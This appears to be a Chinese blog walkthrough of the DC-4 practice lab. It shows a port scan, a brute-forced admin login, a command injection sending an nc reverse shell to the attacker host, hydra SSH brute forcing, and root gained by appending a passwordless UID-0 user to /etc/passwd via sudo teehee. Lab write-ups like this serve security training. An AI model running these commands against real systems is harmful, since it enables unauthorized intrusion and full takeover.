本文最后更新于1151天前,其中的信息可能已经有所发展或是发生改变。
下载地址:https://www.five86.com/dc-4.html
则靶机DC-4 ip:192.168.188.159(NAT连接)
攻击机kalilinux ip:192.168.188.144
用netdiscover -r 192.168.188.0/24 扫描ip,得到靶机ip 192.168.188.159
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-1e5a3550a4ab764891d0e3b1150f88c0.png)
先来端口扫描
利用nmap对目标主机进行端口扫描,发现开放端口:80
使用命令:nmap -sV -A 192.168.188.159 -oN dc.nmap
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-2896eb8e906ed3d38ef3f79652848f78.png)
可知开放22、80端口,linux主机web是一个登录框,考虑万能密码、注入、爆破
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-1288563f9a4737d8ee170e66cb784ebb.png)
页面提示是admin的登录框,直接拿admin进行爆破
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-c11943df26950e1d64fc0def427292df.png)
账号:admin 密码:happy
登录后台发现可执行命令
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-c82912921ca8f726ee19fa4324d42006.png)
尝试BP抓包修改命令,设置反弹shell
radio=nc 192.168.188.144 1234 -e /bin/bash&submit=Run
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-b5f4099180cd3b3fa27c4c8d0e9c1a91.png)
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-500fe58d6ef0b6e00e133930468f9d77.png)
使用Python打开一个标准的shell
python -c 'import pty;pty.spawn("/bin/bash")'
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-e631c28972b9a9e1ec7038259609b898.png)
切换到/home目录下,查看用户目录
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-9b37beed6ec45a16b1160067a9f20644.png)
在backups文件里面发现历史密码
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-6f46cc328e8c50841532be1abd19ad8f.png)
全部导出然后进行ssh爆破:
hydra -L users.txt -P jimpass.txt ssh://192.168.188.144 -t 6 -f -vV
得到用户 jim 密码 jibril04,SSH登陆
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-a55c92c4532d9831790092cd3efd2642.png)
登陆提示邮件,查看/var/mail查看邮件内有charles的密码
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-0f2140a20b3a7f2fdf65583c63567e4b.png)
得到Charles:^xHhA&hvim0y
jim@dc-4:/var/mail$ cat jim
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: 4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
(envelope-from 4>)
id 1hCjIX-0000kO-Qt
for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: 0000kO-Qt@dc-4>
From: Charles 4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O
Hi Jim,
I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.
Password is: ^xHhA&hvim0y
See ya,
Charles
登录charles并查看charles的sudo权限
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-ddfc3b8f7d3ffd2c13e0beb5fa1972a7.png)
信息收集一波发现可以免密码使用sudo / usr / bin / teehee
cd /usr/bin然后teehee --help看看teehee的用法
charles@dc-4:/usr/bin$ teehee --help
Usage: teehee [OPTION]... [FILE]...
Copy standard input to each FILE, and also to standard output.
-a, --append append to the given FILEs, do not overwrite
-i, --ignore-interrupts ignore interrupt signals
-p diagnose errors writing to non pipes
--output-error[=MODE] set behavior on write error. See MODE below
--help display this help and exit
--version output version information and exit
MODE determines behavior with write errors on the outputs:
'warn' diagnose errors writing to any output
'warn-nopipe' diagnose errors writing to any output not a pipe
'exit' exit on error writing to any output
'exit-nopipe' exit on error writing to any output not a pipe
The default MODE for the -p option is 'warn-nopipe'.
The default operation when --output-error is not specified, is to
exit immediately on error writing to a pipe, and diagnose errors
writing to non pipe outputs.
GNU coreutils online help: http://www.gnu.org/software/coreutils/>
Full documentation at: http://www.gnu.org/software/coreutils/tee>
or available locally via: info '(coreutils) tee invocation'
charles@dc-4:/usr/bin$
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-5d2254fb377675b4ad9d91a15866f13a.png)
提权方法,利用teehee加载内容到文件中获取root权限,我们就使用teehee -a把一个账号写进到/etc/passwd上,这个用户拥有root权限,然后在切换到这个用户即可。
向/etc/passwd中写入一个超级权限的用户
构建命令 [用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
最后语句是:
echo "asshole::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-6d9fe650e37a67b27e1045555954f6d1.png)
直接拿到root权限获取到最终的flag文件
![](https://www.mondayice.com/wp-content/uploads/2021/06/frc-a9ce28e1775a9a4f0549d1e77b373946.png)
点击数:14